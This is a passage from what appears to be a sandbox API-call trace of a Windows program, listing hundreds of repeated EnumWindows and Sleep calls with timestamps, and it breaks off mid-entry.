[0152.819] Sleep (dwMilliseconds=0x64) [0152.821] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.821] Sleep (dwMilliseconds=0x64) [0152.822] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.822] Sleep (dwMilliseconds=0x64) [0152.826] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.826] Sleep (dwMilliseconds=0x64) [0152.828] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.828] Sleep (dwMilliseconds=0x64) [0152.829] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.829] Sleep (dwMilliseconds=0x64) [0152.831] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.831] Sleep (dwMilliseconds=0x64) [0152.833] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.833] Sleep (dwMilliseconds=0x64) [0152.835] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.835] Sleep (dwMilliseconds=0x64) [0152.836] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.836] Sleep (dwMilliseconds=0x64) [0152.838] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.838] Sleep (dwMilliseconds=0x64) [0152.839] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.839] Sleep (dwMilliseconds=0x64) [0152.841] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.841] Sleep (dwMilliseconds=0x64) [0152.843] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.843] Sleep (dwMilliseconds=0x64) [0152.845] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.845] Sleep (dwMilliseconds=0x64) [0152.846] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.846] Sleep (dwMilliseconds=0x64) [0152.848] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.848] Sleep (dwMilliseconds=0x64) [0152.850] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.850] Sleep (dwMilliseconds=0x64) [0152.852] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.852] Sleep (dwMilliseconds=0x64) [0152.854] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.854] Sleep (dwMilliseconds=0x64) [0152.856] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.856] Sleep (dwMilliseconds=0x64) [0152.858] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.858] Sleep (dwMilliseconds=0x64) [0152.862] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.862] Sleep (dwMilliseconds=0x64) [0152.864] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.864] Sleep (dwMilliseconds=0x64) [0152.865] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.865] Sleep (dwMilliseconds=0x64) [0152.867] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.867] Sleep (dwMilliseconds=0x64) [0152.869] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.869] Sleep (dwMilliseconds=0x64) [0152.871] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.871] Sleep (dwMilliseconds=0x64) [0152.872] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.873] Sleep (dwMilliseconds=0x64) [0152.875] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.875] Sleep (dwMilliseconds=0x64) [0152.877] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.877] Sleep (dwMilliseconds=0x64) [0152.878] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.878] Sleep (dwMilliseconds=0x64) [0152.880] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.880] Sleep (dwMilliseconds=0x64) [0152.882] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.882] Sleep (dwMilliseconds=0x64) [0152.883] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.883] Sleep (dwMilliseconds=0x64) [0152.885] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.885] Sleep (dwMilliseconds=0x64) [0152.886] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.886] Sleep (dwMilliseconds=0x64) [0152.899] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.899] Sleep (dwMilliseconds=0x64) [0152.901] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.901] Sleep (dwMilliseconds=0x64) [0152.903] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.903] Sleep (dwMilliseconds=0x64) [0152.905] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.906] Sleep (dwMilliseconds=0x64) [0152.908] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.908] Sleep (dwMilliseconds=0x64) [0152.909] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.909] Sleep (dwMilliseconds=0x64) [0152.911] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.911] Sleep (dwMilliseconds=0x64) [0152.913] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.913] Sleep (dwMilliseconds=0x64) [0152.915] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.915] Sleep (dwMilliseconds=0x64) [0152.917] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.917] Sleep (dwMilliseconds=0x64) [0152.918] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.919] Sleep (dwMilliseconds=0x64) [0152.920] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.920] Sleep (dwMilliseconds=0x64) [0152.922] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.922] Sleep (dwMilliseconds=0x64) [0152.924] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.924] Sleep (dwMilliseconds=0x64) [0152.926] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.926] Sleep (dwMilliseconds=0x64) [0152.928] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.928] Sleep (dwMilliseconds=0x64) [0152.929] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.930] Sleep (dwMilliseconds=0x64) [0152.931] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.932] Sleep (dwMilliseconds=0x64) [0152.935] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.935] Sleep (dwMilliseconds=0x64) [0152.938] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.938] Sleep (dwMilliseconds=0x64) [0152.940] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.940] Sleep (dwMilliseconds=0x64) [0152.942] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.942] Sleep (dwMilliseconds=0x64) [0152.943] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.943] Sleep (dwMilliseconds=0x64) [0152.945] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.945] Sleep (dwMilliseconds=0x64) [0152.946] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.946] Sleep (dwMilliseconds=0x64) [0152.948] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.948] Sleep (dwMilliseconds=0x64) [0152.950] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.951] Sleep (dwMilliseconds=0x64) [0152.952] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.952] Sleep (dwMilliseconds=0x64) [0152.976] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.976] Sleep (dwMilliseconds=0x64) [0152.979] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.979] Sleep (dwMilliseconds=0x64) [0152.980] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.981] Sleep (dwMilliseconds=0x64) [0152.982] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.982] Sleep (dwMilliseconds=0x64) [0152.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0152.999] Sleep (dwMilliseconds=0x64) [0153.001] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.001] Sleep (dwMilliseconds=0x64) [0153.002] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.003] Sleep (dwMilliseconds=0x64) [0153.004] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.004] Sleep (dwMilliseconds=0x64) [0153.006] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.006] Sleep (dwMilliseconds=0x64) [0153.007] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.008] Sleep (dwMilliseconds=0x64) [0153.011] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.012] Sleep (dwMilliseconds=0x64) [0153.013] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.014] Sleep (dwMilliseconds=0x64) [0153.015] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.015] Sleep (dwMilliseconds=0x64) [0153.016] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.017] Sleep (dwMilliseconds=0x64) [0153.018] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.018] Sleep (dwMilliseconds=0x64) [0153.019] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.020] Sleep (dwMilliseconds=0x64) [0153.021] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.021] Sleep (dwMilliseconds=0x64) [0153.022] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.022] Sleep (dwMilliseconds=0x64) [0153.024] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.024] Sleep (dwMilliseconds=0x64) [0153.025] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.025] Sleep (dwMilliseconds=0x64) [0153.027] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.027] Sleep (dwMilliseconds=0x64) [0153.028] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.029] Sleep (dwMilliseconds=0x64) [0153.030] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.030] Sleep (dwMilliseconds=0x64) [0153.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.032] Sleep (dwMilliseconds=0x64) [0153.033] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.033] Sleep (dwMilliseconds=0x64) [0153.034] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.035] Sleep (dwMilliseconds=0x64) [0153.036] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.036] Sleep (dwMilliseconds=0x64) [0153.037] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.038] Sleep (dwMilliseconds=0x64) [0153.039] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.039] Sleep (dwMilliseconds=0x64) [0153.040] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.041] Sleep (dwMilliseconds=0x64) [0153.042] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.042] Sleep (dwMilliseconds=0x64) [0153.043] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.044] Sleep (dwMilliseconds=0x64) [0153.045] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.045] Sleep (dwMilliseconds=0x64) [0153.046] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.047] Sleep (dwMilliseconds=0x64) [0153.048] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.048] Sleep (dwMilliseconds=0x64) [0153.051] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.052] Sleep (dwMilliseconds=0x64) [0153.053] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.053] Sleep (dwMilliseconds=0x64) [0153.054] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.055] Sleep (dwMilliseconds=0x64) [0153.056] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.056] Sleep (dwMilliseconds=0x64) [0153.057] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.058] Sleep (dwMilliseconds=0x64) [0153.059] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.059] Sleep (dwMilliseconds=0x64) [0153.060] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.060] Sleep (dwMilliseconds=0x64) [0153.062] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.062] Sleep (dwMilliseconds=0x64) [0153.063] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.063] Sleep (dwMilliseconds=0x64) [0153.065] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.065] Sleep (dwMilliseconds=0x64) [0153.067] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.067] Sleep (dwMilliseconds=0x64) [0153.068] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.068] Sleep (dwMilliseconds=0x64) [0153.069] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.070] Sleep (dwMilliseconds=0x64) [0153.071] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.071] Sleep (dwMilliseconds=0x64) [0153.072] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.073] Sleep (dwMilliseconds=0x64) [0153.074] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.074] Sleep (dwMilliseconds=0x64) [0153.075] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.076] Sleep (dwMilliseconds=0x64) [0153.077] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.077] Sleep (dwMilliseconds=0x64) [0153.079] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.079] Sleep (dwMilliseconds=0x64) [0153.080] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.080] Sleep (dwMilliseconds=0x64) [0153.081] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.082] Sleep (dwMilliseconds=0x64) [0153.083] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.083] Sleep (dwMilliseconds=0x64) [0153.084] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.084] Sleep (dwMilliseconds=0x64) [0153.086] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.086] Sleep (dwMilliseconds=0x64) [0153.087] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.087] Sleep (dwMilliseconds=0x64) [0153.089] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.089] Sleep (dwMilliseconds=0x64) [0153.092] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.092] Sleep (dwMilliseconds=0x64) [0153.093] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.094] Sleep (dwMilliseconds=0x64) [0153.095] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.095] Sleep (dwMilliseconds=0x64) [0153.097] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.097] Sleep (dwMilliseconds=0x64) [0153.099] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.099] Sleep (dwMilliseconds=0x64) [0153.140] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.140] Sleep (dwMilliseconds=0x64) [0153.142] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.142] Sleep (dwMilliseconds=0x64) [0153.163] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.164] Sleep (dwMilliseconds=0x64) [0153.166] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.166] Sleep (dwMilliseconds=0x64) [0153.168] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.168] Sleep (dwMilliseconds=0x64) [0153.169] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.170] Sleep (dwMilliseconds=0x64) [0153.171] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.171] Sleep (dwMilliseconds=0x64) [0153.172] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.173] Sleep (dwMilliseconds=0x64) [0153.174] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.174] Sleep (dwMilliseconds=0x64) [0153.177] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.177] Sleep (dwMilliseconds=0x64) [0153.179] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.179] Sleep (dwMilliseconds=0x64) [0153.180] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.180] Sleep (dwMilliseconds=0x64) [0153.181] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.182] Sleep (dwMilliseconds=0x64) [0153.183] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.183] Sleep (dwMilliseconds=0x64) [0153.185] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.185] Sleep (dwMilliseconds=0x64) [0153.187] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.187] Sleep (dwMilliseconds=0x64) [0153.188] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.189] Sleep (dwMilliseconds=0x64) [0153.190] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.190] Sleep (dwMilliseconds=0x64) [0153.192] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.192] Sleep (dwMilliseconds=0x64) [0153.194] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.194] Sleep (dwMilliseconds=0x64) [0153.196] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.196] Sleep (dwMilliseconds=0x64) [0153.198] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.198] Sleep (dwMilliseconds=0x64) [0153.200] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.200] Sleep (dwMilliseconds=0x64) [0153.201] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.201] Sleep (dwMilliseconds=0x64) [0153.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.203] Sleep (dwMilliseconds=0x64) [0153.205] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.205] Sleep (dwMilliseconds=0x64) [0153.206] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.206] Sleep (dwMilliseconds=0x64) [0153.208] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.208] Sleep (dwMilliseconds=0x64) [0153.210] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.210] Sleep (dwMilliseconds=0x64) [0153.212] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.212] Sleep (dwMilliseconds=0x64) [0153.213] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.214] Sleep (dwMilliseconds=0x64) [0153.215] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.215] Sleep (dwMilliseconds=0x64) [0153.217] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.225] Sleep (dwMilliseconds=0x64) [0153.226] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.227] Sleep (dwMilliseconds=0x64) [0153.228] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.228] Sleep (dwMilliseconds=0x64) [0153.229] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.230] Sleep (dwMilliseconds=0x64) [0153.231] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.231] Sleep (dwMilliseconds=0x64) [0153.233] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.233] Sleep (dwMilliseconds=0x64) [0153.234] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.235] Sleep (dwMilliseconds=0x64) [0153.236] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.236] Sleep (dwMilliseconds=0x64) [0153.238] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.238] Sleep (dwMilliseconds=0x64) [0153.239] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.240] Sleep (dwMilliseconds=0x64) [0153.241] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.241] Sleep (dwMilliseconds=0x64) [0153.243] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.243] Sleep (dwMilliseconds=0x64) [0153.244] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.244] Sleep (dwMilliseconds=0x64) [0153.260] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.260] Sleep (dwMilliseconds=0x64) [0153.262] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.262] Sleep (dwMilliseconds=0x64) [0153.263] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.264] Sleep (dwMilliseconds=0x64) [0153.265] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.265] Sleep (dwMilliseconds=0x64) [0153.266] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.267] Sleep (dwMilliseconds=0x64) [0153.268] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.268] Sleep (dwMilliseconds=0x64) [0153.270] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.270] Sleep (dwMilliseconds=0x64) [0153.271] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.272] Sleep (dwMilliseconds=0x64) [0153.273] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.273] Sleep (dwMilliseconds=0x64) [0153.274] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.275] Sleep (dwMilliseconds=0x64) [0153.277] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.277] Sleep (dwMilliseconds=0x64) [0153.278] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.278] Sleep (dwMilliseconds=0x64) [0153.279] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.280] Sleep (dwMilliseconds=0x64) [0153.281] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.281] Sleep (dwMilliseconds=0x64) [0153.282] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.283] Sleep (dwMilliseconds=0x64) [0153.284] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.284] Sleep (dwMilliseconds=0x64) [0153.285] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.286] Sleep (dwMilliseconds=0x64) [0153.287] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.287] Sleep (dwMilliseconds=0x64) [0153.288] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.289] Sleep (dwMilliseconds=0x64) [0153.290] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.290] Sleep (dwMilliseconds=0x64) [0153.292] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.292] Sleep (dwMilliseconds=0x64) [0153.293] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.294] Sleep (dwMilliseconds=0x64) [0153.295] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.295] Sleep (dwMilliseconds=0x64) [0153.297] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.297] Sleep (dwMilliseconds=0x64) [0153.298] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.299] Sleep (dwMilliseconds=0x64) [0153.300] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.300] Sleep (dwMilliseconds=0x64) [0153.301] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.302] Sleep (dwMilliseconds=0x64) [0153.303] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.303] Sleep (dwMilliseconds=0x64) [0153.305] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.305] Sleep (dwMilliseconds=0x64) [0153.307] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.307] Sleep (dwMilliseconds=0x64) [0153.309] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.309] Sleep (dwMilliseconds=0x64) [0153.310] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.311] Sleep (dwMilliseconds=0x64) [0153.312] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.312] Sleep (dwMilliseconds=0x64) [0153.313] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.314] Sleep (dwMilliseconds=0x64) [0153.315] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.315] Sleep (dwMilliseconds=0x64) [0153.316] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.317] Sleep (dwMilliseconds=0x64) [0153.318] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.318] Sleep (dwMilliseconds=0x64) [0153.320] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.320] Sleep (dwMilliseconds=0x64) [0153.321] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.322] Sleep (dwMilliseconds=0x64) [0153.323] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.323] Sleep (dwMilliseconds=0x64) [0153.324] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.325] Sleep (dwMilliseconds=0x64) [0153.326] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.326] Sleep (dwMilliseconds=0x64) [0153.327] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.328] Sleep (dwMilliseconds=0x64) [0153.329] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.329] Sleep (dwMilliseconds=0x64) [0153.330] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.331] Sleep (dwMilliseconds=0x64) [0153.332] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.333] Sleep (dwMilliseconds=0x64) [0153.334] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.334] Sleep (dwMilliseconds=0x64) [0153.335] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.336] Sleep (dwMilliseconds=0x64) [0153.337] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.337] Sleep (dwMilliseconds=0x64) [0153.472] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.472] Sleep (dwMilliseconds=0x64) [0153.510] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.510] Sleep (dwMilliseconds=0x64) [0153.563] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.564] Sleep (dwMilliseconds=0x64) [0153.567] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.567] Sleep (dwMilliseconds=0x64) [0153.570] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.570] Sleep (dwMilliseconds=0x64) [0153.572] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.572] Sleep (dwMilliseconds=0x64) [0153.574] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.574] Sleep (dwMilliseconds=0x64) [0153.582] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.582] Sleep (dwMilliseconds=0x64) [0153.583] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.583] Sleep (dwMilliseconds=0x64) [0153.585] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.585] Sleep (dwMilliseconds=0x64) [0153.587] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.587] Sleep (dwMilliseconds=0x64) [0153.591] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.591] Sleep (dwMilliseconds=0x64) [0153.593] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.593] Sleep (dwMilliseconds=0x64) [0153.596] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.596] Sleep (dwMilliseconds=0x64) [0153.597] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.597] Sleep (dwMilliseconds=0x64) [0153.599] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.600] Sleep (dwMilliseconds=0x64) [0153.601] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.601] Sleep (dwMilliseconds=0x64) [0153.603] EnumWindows (lpEnumFunc=0x423dd0, 